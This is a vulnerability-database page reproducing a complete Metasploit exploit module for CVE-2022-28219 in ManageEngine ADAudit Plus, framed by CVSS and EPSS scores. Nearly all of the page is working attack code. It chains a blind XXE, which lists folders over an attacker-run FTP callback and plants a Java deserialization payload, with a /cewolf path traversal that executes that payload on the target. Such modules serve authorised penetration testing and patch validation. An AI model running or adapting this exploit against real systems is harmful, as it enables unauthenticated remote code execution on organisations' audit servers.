Lucene search

K
metasploitNaveen Sunkavally, Ron BowesMSF:EXPLOIT-WINDOWS-HTTP-MANAGEENGINE_ADAUDIT_PLUS_CVE_2022_28219-
HistoryJul 06, 2022 - 10:57 p.m.

ManageEngine ADAudit Plus CVE-2022-28219

2022-07-0622:57:13
Naveen Sunkavally, Ron Bowes
www.rapid7.com
112

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

This module exploits CVE-2022-28219, which is a pair of vulnerabilities in ManageEngine ADAudit Plus versions before build 7060: a path traversal in the /cewolf endpoint, and a blind XXE in, to upload and execute an executable file.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::CmdStager
  include Msf::Exploit::JavaDeserialization
  include Msf::Handler::Reverse::Comm

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ADAudit Plus CVE-2022-28219',
        'Description' => %q{
          This module exploits CVE-2022-28219, which is a pair of
          vulnerabilities in ManageEngine ADAudit Plus versions before build
          7060: a path traversal in the /cewolf endpoint, and a blind XXE in,
          to upload and execute an executable file.
        },
        'Author' => [
          'Naveen Sunkavally', # Initial PoC + disclosure
          'Ron Bowes', # Analysis and module
        ],
        'References' => [
          ['CVE', '2022-28219'],
          ['URL', 'https://www.horizon3.ai/red-team-blog-cve-2022-28219/'],
          ['URL', 'https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis'],
          ['URL', 'https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html'],
        ],
        'DisclosureDate' => '2022-06-29',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win'
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8081
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI_DESERIALIZATION', [true, 'Path traversal and unsafe deserialization endpoint', '/cewolf/logo.png']),
      OptString.new('TARGETURI_XXE', [true, 'XXE endpoint', '/api/agent/tabs/agentData']),
      OptString.new('DOMAIN', [true, 'Active Directory domain that the target monitors', nil]),
      OptInt.new('SRVPORT_FTP', [true, 'Port for FTP reverse connection', 2121]),
      OptInt.new('SRVPORT_HTTP2', [true, 'Port for additional HTTP reverse connections', 8888]),
    ])

    register_advanced_options([
      OptInt.new('PATH_TRAVERSAL_DEPTH', [true, 'The number of `../` to prepend to the path traversal attempt', 20]),
      OptInt.new('FtpCallbackTimeout', [true, 'The amount of time, in seconds, the FTP server will wait for a reverse connection', 5]),
      OptInt.new('HttpUploadTimeout', [true, 'The amount of time, in seconds, the HTTP file-upload server will wait for a reverse connection', 5]),
    ])
  end

  def srv_host
    if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
      return datastore['URIHOST'] || Rex::Socket.source_address(rhost)
    end

    return datastore['SRVHOST']
  end

  def check
    # Make sure it's ADAudit Plus by requesting the root and checking the title
    res1 = send_request_cgi(
      'method' => 'GET',
      'uri' => '/'
    )

    unless res1
      return CheckCode::Unknown('Target failed to respond to check.')
    end

    unless res1.code == 200 && res1.body.match?(/<title>ADAudit Plus/)
      return CheckCode::Safe('Does not appear to be ADAudit Plus')
    end

    # Check if it's a vulnerable version (the patch removes the /cewolf endpoint
    # entirely)
    res2 = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri("#{datastore['TARGETURI_DESERIALIZATION']}?img=abc")
    )

    unless res2
      return CheckCode::Unknown('Target failed to respond to check.')
    end

    unless res2.code == 200
      return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).')
    end

    CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.')
  end

  def exploit
    # List the /users folder - this is good to do first, since we can fail early
    # if something isn't working
    vprint_status('Attempting to exploit XXE to get a list of users')
    users = get_directory_listing('/users')
    unless users
      fail_with(Failure::NotVulnerable, 'Failed to get a list of users (check your DOMAIN, or server may not be vulnerable)')
    end

    # Remove common users
    users -= ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']
    if users.empty?
      fail_with(Failure::NotFound, 'Failed to find any non-default user accounts')
    end
    print_status("User accounts discovered: #{users.join(', ')}")

    # I can't figure out how to properly encode spaces, but using the 8.3
    # version works! This converts them
    users.map do |u|
      if u.include?(' ')
        u = u.gsub(/ /, '')[0..6].upcase + '~1'
      end
      u
    end

    # Check the filesystem for existing payloads that we should ignore
    vprint_status('Enumerating old payloads cached on the server (to skip later)')
    existing_payloads = search_for_payloads(users)

    # Create a serialized payload
    begin
      # Create a queue so we can detect when the payload is delivered
      queue = Queue.new

      # Upload payload to remote server
      # (this spawns a thread we need to clean up)
      print_status('Attempting to exploit XXE to store our serialized payload on the server')
      t = upload_payload(generate_java_deserialization_for_payload('CommonsBeanutils1', payload), queue)

      # Wait for something to arrive in the queue (basically using it as a
      # semaphor
      vprint_status('Waiting for the payload to be sent to the target')
      queue.pop # We don't need the result

      # Get a list of possible payloads (never returns nil)
      vprint_status("Trying to find our payload in all users' temp folders")
      possible_payloads = search_for_payloads(users)
      possible_payloads -= existing_payloads

      # Make sure the payload exists
      if possible_payloads.empty?
        fail_with(Failure::Unknown, 'Exploit appeared to work, but could not find the payload on the target')
      end

      # If multiple payloads appeared, abort for safety
      if possible_payloads.length > 1
        fail_with(Failure::UnexpectedReply, "Found #{possible_payloads.length} apparent payloads in temp folders - aborting!")
      end

      # Execute the one payload
      payload_path = possible_payloads.pop
      print_status("Triggering payload: #{payload_path}...")

      res = send_request_cgi(
        'method' => 'GET',
        'uri' => "#{datastore['TARGETURI_DESERIALIZATION']}?img=#{'/..' * datastore['PATH_TRAVERSAL_DEPTH']}#{payload_path}"
      )

      if res&.code != 200
        fail_with(Failure::Unknown, "Path traversal request failed with HTTP/#{res&.code}")
      end
    ensure
      # Kill the upload thread
      if t
        begin
          t.kill
        rescue StandardError
          # Do nothing if we fail to kill the thread
        end
      end
    end
  end

  def get_directory_listing(folder)
    print_status("Getting directory listing for #{folder} via XXE and FTP")

    # Generate a unique callback URL
    path = "/#{rand_text_alpha(rand(8..15))}.dtd"
    full_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{path}"

    # Send the username anonymous and no password so the server doesn't log in
    # with the password "Java1.8.0_51@" which is detectable
    # We use `end_tag` at the end so we can detect when the listing is over
    end_tag = rand_text_alpha(rand(8..15))
    ftp_url = "ftp://anonymous:password@#{srv_host}:#{datastore['SRVPORT_FTP']}/%file;#{end_tag}"
    serve_http_file(path, "<!ENTITY % all \"<!ENTITY send SYSTEM '#{ftp_url}'>\"> %all;")

    # Start a server to handle the reverse FTP connection
    ftp_server = Rex::Socket::TcpServer.create(
      'LocalPort' => datastore['SRVPORT_FTP'],
      'LocalHost' => datastore['SRVHOST'],
      'Comm' => select_comm,
      'Context' => {
        'Msf' => framework,
        'MsfExploit' => self
      }
    )

    # Trigger the XXE to get file listings
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
      'ctype' => 'application/json',
      'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:#{folder}\"><!ENTITY % start \"<![CDATA[\"><!ENTITY % end \"]]>\"><!ENTITY % dtd SYSTEM \"#{full_url}\"> %dtd;]><data>&send;</data>")
    )

    if res&.code != 200
      fail_with(Failure::Unknown, "XXE request to get directory listing failed with HTTP/#{res&.code}")
    end

    ftp_client = nil
    begin
      # Wait for a connection with a timeout
      select_result = ::IO.select([ftp_server], nil, nil, datastore['FtpCallbackTimeout'])

      unless select_result && !select_result.empty?
        print_warning("FTP reverse connection for directory enumeration failed - #{ftp_url}")
        return nil
      end

      # Accept the connection
      ftp_client = ftp_server.accept

      # Print a standard banner
      ftp_client.print("220 Microsoft FTP Service\r\n")

      # We need to flip this so we can get a directory listing over multiple packets
      directory_listing = nil

      loop do
        select_result = ::IO.select([ftp_client], nil, nil, datastore['FtpCallbackTimeout'])

        # Check if we ran out of data
        if !select_result || select_result.empty?
          # If we got nothing, we're sad
          if directory_listing.nil? || directory_listing.empty?
            print_warning('Did not receive data from our reverse FTP connection')
            return nil
          end

          # If we have data, we're happy and can break
          break
        end

        # Receive the data that's waiting
        data = ftp_client.recv(256)
        if data.empty?
          # If we got nothing, we're done receiving
          break
        end

        # Match behavior with ftp://test.rebex.net
        if data =~ /^USER ([a-zA-Z0-9_.-]*)/
          ftp_client.print("331 Password required for #{Regexp.last_match(1)}.\r\n")
        elsif data =~ /^PASS /
          ftp_client.print("230 User logged in.\r\n")
        elsif data =~ /^TYPE ([a-zA-Z0-9_.-]*)/
          ftp_client.print("200 Type set to #{Regexp.last_match(1)}.\r\n")
        elsif data =~ /^EPSV ALL/
          ftp_client.print("200 ESPV command successful.\r\n")
        elsif data =~ /^EPSV/ # (no space)
          ftp_client.print("229 Entering Extended Passive Mode(|||#{rand(1025..1100)})\r\n")
        elsif data =~ /^RETR (.*)/m
          # Store the start of the listing
          directory_listing = Regexp.last_match(1)
        else
          # Have we started receiving data?
          # (Disable Rubocop, because I think it's way more confusing to
          # continue the elsif train)
          if directory_listing.nil? # rubocop:disable Style/IfInsideElse
            # We shouldn't really get here, but if we do, just play dumb and
            # keep the client talking
            ftp_client.print("230 User logged in.\r\n")
          else
            # If we're receiving data, just append
            directory_listing.concat(data)
          end
        end

        # Break when we get the PORT command (this is faster than timing out,
        # but doesn't always seem to work)
        if !directory_listing.nil? && directory_listing =~ /(.*)#{end_tag}/m
          directory_listing = Regexp.last_match(1)
          break
        end
      end
    ensure
      ftp_server.close
      if ftp_client
        ftp_client.close
      end
    end

    # Handle FTP errors (which thankfully aren't as common as they used to be)
    unless ftp_client
      print_warning("Didn't receive expected FTP connection")
      return nil
    end

    if directory_listing.nil? || directory_listing.empty?
      vprint_warning('FTP client connected, but we did not receive any data over the socket')
      return nil
    end

    # Remove PORT commands, split at \r\n or \n, and remove empty elements
    directory_listing.gsub(/PORT [0-9,]+[\r\n]/m, '').split(/\r?\n/).reject(&:empty?)
  end

  def search_for_payloads(users)
    return users.flat_map do |u|
      dir = "/users/#{u}/appdata/local/temp"
      # This will search for the payload, but right now just print stuff
      listing = get_directory_listing(dir)
      unless listing
        vprint_warning("Couldn't get directory listing for #{dir}")
        next []
      end

      listing
           .select { |f| f =~ /^jar_cache[0-9]+.tmp$/ }
           .map { |f| File.join(dir, f) }
    end
  end

  def upload_payload(payload, queue)
    t = framework.threads.spawn('adaudit-payload-deliverer', false) do
      c = nil
      begin
        # We use a TCP socket here so we can hold the socket open after the HTTP
        # conversation has concluded. That way, the server caches the file in
        # the user's temp folder while it waits for more data
        http_server = Rex::Socket::TcpServer.create(
          'LocalPort' => datastore['SRVPORT_HTTP2'],
          'LocalHost' => srv_host,
          'Comm' => select_comm,
          'Context' => {
            'Msf' => framework,
            'MsfExploit' => self
          }
        )

        # Wait for the reverse connection, with a timeout
        select_result = ::IO.select([http_server], nil, nil, datastore['HttpUploadTimeout'])
        unless select_result && !select_result.empty?
          fail_with(Failure::Unknown, "XXE request to upload file did not receive a reverse connection on #{datastore['SRVPORT_HTTP2']}")
        end

        # Receive and discard the HTTP request
        c = http_server.accept
        c.recv(1024)
        c.print "HTTP/1.1 200 OK\r\n"
        c.print "Connection: keep-alive\r\n"
        c.print "\r\n"
        c.print payload

        # This will notify the other thread that something has arrived
        queue.push(true)

        # This has to stay open as long as it takes to enumerate all users'
        # directories to find then execute the payload. ~5 seconds works on
        # a single-user system, but I increased this a lot for production.
        # (This thread should be killed when the exploit completes in any case)
        Rex.sleep(60)
      ensure
        http_server.close
        if c
          c.close
        end
      end
    end

    # Trigger the XXE to get file listings
    path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt"
    full_url = "http://#{srv_host}:#{datastore['SRVPORT_HTTP2']}#{path}"
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
      'ctype' => 'application/json',
      'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:#{full_url}\"> %xxe;]>")
    )

    if res&.code != 200
      fail_with(Failure::Unknown, "XXE request to upload payload failed with HTTP/#{res&.code}")
    end

    return t
  end

  def serve_http_file(path, respond_with = '')
    # do not use SSL for the attacking web server
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, _req|
          send_response(cli, respond_with)
        end,
        'Path' => path
      }
    })

    datastore['SSL'] = true if ssl_restore
  end

  def create_json_request(xml_payload)
    [
      {
        'DomainName' => datastore['domain'],
        'EventCode' => 4688,
        'EventType' => 0,
        'TimeGenerated' => 0,
        'Task Content' => xml_payload
      }
    ].to_json
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

Related for MSF:EXPLOIT-WINDOWS-HTTP-MANAGEENGINE_ADAUDIT_PLUS_CVE_2022_28219-